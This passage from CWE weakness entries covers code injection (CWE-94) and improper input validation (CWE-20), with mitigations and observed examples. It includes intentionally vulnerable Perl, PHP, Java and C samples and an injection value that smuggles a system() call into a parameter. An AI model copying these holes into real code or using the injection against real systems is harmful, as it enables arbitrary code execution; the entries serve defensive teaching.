my ($fname, $key, $arg) = @_;

# code to set key to a particular file goes here
}

sub config_file_delete_key {
my ($fname, $key, $arg) = @_;

# code to delete key from a particular file goes here
}

sub handleConfigAction {
my ($fname, $action) = @_;
my $key = param('key');
my $val = param('val');

# this is super-efficient code, especially if you have to invoke


# any one of dozens of different functions!

my $code = "config_file_$action_key(\$fname, \$key, \$val);";
eval($code);
}

$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
handleConfigAction($configfile, param('action'));
}
else {
print "No action specified!\n";
}

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as: add_key(",","); system("/bin/ls"); This would produce the following string in handleConfigAction(): config_file_add_key(",","); system("/bin/ls"); Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the "_key(\$fname, \$key, \$val)" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

+ Observed Examples
ReferenceDescription
Eval injection in PHP program.
Eval injection in Perl program.
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
Direct code injection into Perl eval function.
Eval injection in Perl program.
Direct code injection into Perl eval function.
Direct code injection into Perl eval function.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
MFV. code injection into PHP eval statement using nested constructs that should not be nested.
Code injection into Python eval statement from a field in a formatted file.
Eval injection in Python program.
chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your software.

Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Phase: Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7522009 Top 25 - Risky Resource Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
+ Notes

Research Gap

Many of these weaknesses are under-studied and under-researched, and terminology is not sufficiently precise.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCODECode Evaluation and Injection
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Research_Gaps, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Type
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Code Injection
2009-05-27Failure to Control Generation of Code (aka 'Code Injection')
2011-03-29Failure to Control Generation of Code ('Code Injection')

CWE-20: Improper Input Validation

Weakness ID: 20
Abstraction: Class
Structure: Simple
Status: Stable
Presentation Filter:
+ Description
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
+ Extended Description

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Input validation is not the only technique for processing input, however. Other techniques attempt to transform potentially-dangerous input into something safe, such as filtering (CWE-790) - which attempts to remove dangerous inputs - or encoding/escaping (CWE-116), which attempts to ensure that the input is not misinterpreted when it is included in output to another component. Other techniques exist as well (see CWE-138 for more examples.)

Input validation can be applied to:

  • raw data - strings, numbers, parameters, file contents, etc.
  • metadata - information about the raw data, such as headers or size

Data can be simple or structured. Structured data can be composed of many nested layers, composed of combinations of metadata and raw data, with other simple or structured data.

Many properties of raw data or metadata may need to be validated upon entry into the code, such as:

  • specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.
  • implied or derived quantities, such as the actual size of a file instead of a specified size
  • indexes, offsets, or positions into more complex data structures
  • symbolic keys or other elements into hash tables, associative arrays, etc.
  • well-formedness, i.e. syntactic correctness - compliance with expected syntax
  • lexical token correctness - compliance with rules for what is treated as a token
  • specified or derived type - the actual type of the input (or what the input appears to be)
  • consistency - between individual data elements, between raw data and metadata, between references, etc.
  • conformance to domain-specific rules, e.g. business logic
  • equivalence - ensuring that equivalent inputs are treated the same
  • authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data

Implied or derived properties of data must often be calculated or inferred by the code itself. Errors in deriving properties may be considered a contributing factor to improper input validation.

Note that "input validation" has very different meanings to different people, or within different classification schemes. Caution must be used when referencing this CWE entry or mapping to it. For example, some weaknesses might involve inadvertently giving control to an attacker over an input when they should not be able to provide an input at all, but sometimes this is referred to as input validation.

Finally, it is important to emphasize that the distinctions between input validation and output escaping are often blurred, and developers must be careful to understand the difference, including how input validation is not always sufficient to prevent vulnerabilities, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a person's last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, this valid name cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise transformed. In this case, removing the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.179Incorrect Behavior Order: Early Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.622Improper Validation of Function Hook Arguments
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1284Improper Validation of Specified Quantity in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1285Improper Validation of Specified Index, Position, or Offset in Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1286Improper Validation of Syntactic Correctness of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1287Improper Validation of Specified Type of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1288Improper Validation of Consistency within Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1289Improper Validation of Unsafe Equivalence in Input
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.41Improper Resolution of Path Equivalence
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.129Improper Validation of Array Index
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.73External Control of File Name or Path
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.103Struts: Incomplete validate() Method Definition
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.104Struts: Form Bean Does Not Extend Validation Class
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.105Struts: Form Field Without Validator
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.106Struts: Plug-in Framework not in Use
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.107Struts: Unused Validation Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.108Struts: Unvalidated Action Form
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.109Struts: Validator Turned Off
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.110Struts: Validator Without Form Field
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.111Direct Use of Unsafe JNI
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.112Missing XML Validation
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.117Improper Output Neutralization for Logs
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.190Integer Overflow or Wraparound
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Often Prevalent)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory)

An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.
Confidentiality

Technical Impact: Read Memory; Read Files or Directories

An attacker could read confidential data if they are able to control resource references.
Integrity
Confidentiality
Availability

Technical Impact: Modify Memory; Execute Unauthorized Code or Commands

An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

(bad code)
Example Language: Java 
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

(bad code)
Example Language:
...
#define MAX_DIM 100
...
/* board dimensions */

int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Example 3

The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.

(bad code)
Example Language: PHP 
$birthday = $_GET['birthday'];
$homepage = $_GET['homepage'];
echo "Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>"

The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:

(attack code)
 
2009-01-09--

If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.

Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.

Example 4

The following example takes a user-supplied value to allocate an array of objects and then operates on the array.

(bad code)
Example Language: Java 
private void buildList ( int untrustedListSize ){
if ( 0 > untrustedListSize ){
die("Negative value supplied for list size, die evil hacker!");
}
Widget[] list = new Widget [ untrustedListSize ];
list[0] = new Widget();
}

This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.

Example 5

This Android application has registered to handle a URL when sent an intent:

(bad code)
Example Language: Java 

...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...

public class UrlHandlerReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if("com.example.URLHandler.openURL".equals(intent.getAction())) {
String URL = intent.getStringExtra("URLToOpen");
int length = URL.length();

...
}
}
}

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

+ Observed Examples
ReferenceDescription
Eval injection in Perl program using an ID that should only contain hyphens and numbers.
SQL injection through an ID that was supposed to be numeric.
lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.
insufficient validation enables XSS
driver in security product allows code execution due to insufficient validation
infinite loop from DNS packet with a label that points to itself
infinite loop from DNS packet with a label that points to itself
missing parameter leads to crash
HTTP request with missing protocol version number leads to crash
request with missing parameters leads to information exposure
system crash with offset value that is inconsistent with packet size
size field that is inconsistent with packet size leads to buffer over-read
product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning
security bypass via an extra header
empty packet triggers reboot
incomplete denylist allows SQL injection
NUL byte in theme name causes directory traversal impact to be worse
kernel does not validate an incoming pointer before dereferencing it
anti-virus product has insufficient input validation of hooked SSDT functions, allowing code execution
anti-virus product allows DoS via zero-length field
driver does not validate input from userland to the kernel
kernel does not validate parameters sent in from userland, allowing code execution
lack of validation of string length fields allows memory consumption or buffer over-read
lack of validation of length field leads to infinite loop
lack of validation of input to an IOCTL allows code execution
zero-length attachment causes crash
zero-length input causes free of uninitialized pointer
crash via a malformed frame structure
infinite loop from a long SMTP request
router crashes with a malformed packet
packet with invalid version number leads to NULL pointer dereference
crash via multiple "." characters in file extension
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Consider using language-theoretic security (LangSec) techniques that characterizes inputs using a formal language and builds "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness: High

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Phase: Implementation

Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.

Phase: Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

